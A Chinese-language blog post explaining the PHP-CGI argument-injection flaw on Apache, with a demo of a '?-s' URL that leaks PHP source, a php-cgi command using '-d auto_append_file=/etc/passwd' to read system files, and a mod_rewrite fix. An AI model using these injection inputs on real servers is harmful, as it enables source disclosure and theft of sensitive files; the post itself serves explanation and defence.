2013
Nov
03

前一陣子 PHP cgi 功能被爆出有安全性漏洞,駭客透過這個漏洞能夠取得系統的任何一支檔案,只要伺服器是使用 PHP CGI 的方式來執行 PHP 檔,就會中這個漏洞。

Apache run PHP CGI

先介紹一下 PHP CGI 是如何在 apache web server 的環境下執行的,下面是一個簡易的 apache 設定檔, ScriptAlias 可以讓 /local-cgi 指向 /usr/bin,而我們的 php-cgi 執行檔就是放在 /usr/bin 裡面,接著 AddHandler 指定副檔名 php 的檔案都會使用 「application/x-httpd-php5」這個應用程式,最後我們再指定這個應用程式代表 php-cgi


httpd.conf
  1. ScriptAlias /local-cgi /usr/bin
  2. AddHandler application/x-httpd-php5 php
  3. Action application/x-httpd-php5 /local-cgi/php-cgi

當你進入網頁 ,這時伺服器就會執行 php-cgi test.php ,下面是一個簡單的 demo,我先建立一個 test.php 的檔案,裡面只 echo 一段文字,再透過 command line 的方式,透過 php-cgi 執行 test.php 這個檔案。

test.php
  1. <?php
  2.  
  3. echo "test string";
  4.  
  5. ?>
php-cgi test.php
  1. X-Powered-By: PHP/5.4.x
  2. Content-type: text/html
  3.  
  4. test string

PHP -s

  • -s 的意思是 「--syntax-highlight」,就是打開 php syntax 功能。

如果我使用 php -s test.php ,那麼 PHP 會將 php 的原始碼用有顏色的 html tag 顯示出來,若是網站有 CGI 漏洞,駭客就可以用這個方式,取得 PHP 原始碼,這就是這篇文章要介紹的漏洞,當駭客在網頁的 Url 輸入 「http://xxx/test.php?-s」,這時伺服器會去執行 「php-cgi -s test.php」,讓我們來看看執行後的結果。

php-cgi -s test.php
  1. <code><span style="color: #000000">
  2. <span style="color: #0000BB"><?php<br /><br /></span><span style="color: #007700">echo </span><span style="color: #DD0000">"test string"</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">?><br /></span>
  3. </span>
  4. </code>
DEMO 從瀏覽器上看到的結果
<?php

echo "test string";

?>

駭客取得系統任意檔案

上述的「-s」只是最簡單的駭客方式,我們可以使用 PHP 的 ini 設定,直接取得特殊路徑下的檔案,透過「-d auto_append_file」, PHP 會自動將這個參數指定的檔案,貼在最下方,然後印出來,這樣駭客就能取得如 「/etc/passwd」這些機密檔案。

  • php-cgi -dallow_url_include=1 -d auto_append_file=/etc/passwd test.php

修復 PHP CGI 漏洞

修復方式,可以在 httpd.conf 或是 .htaccess 中加入以下的設定。

httpd.conf
  1. RewriteEngine on
  2. RewriteCond %{QUERY_STRING} ^[^=]*$
  3. RewriteCond %{QUERY_STRING} %2d|\- [NC]
  4. RewriteRule .? – [F,L]

前兩個 RewriteCond 是說,如果QUERY_STRING 沒有 「= 」這個符號,而且有出現符號「-」,「RewriteRule」就會使得伺服器回傳 「403 forbidden 」。


回應 (Leave a comment)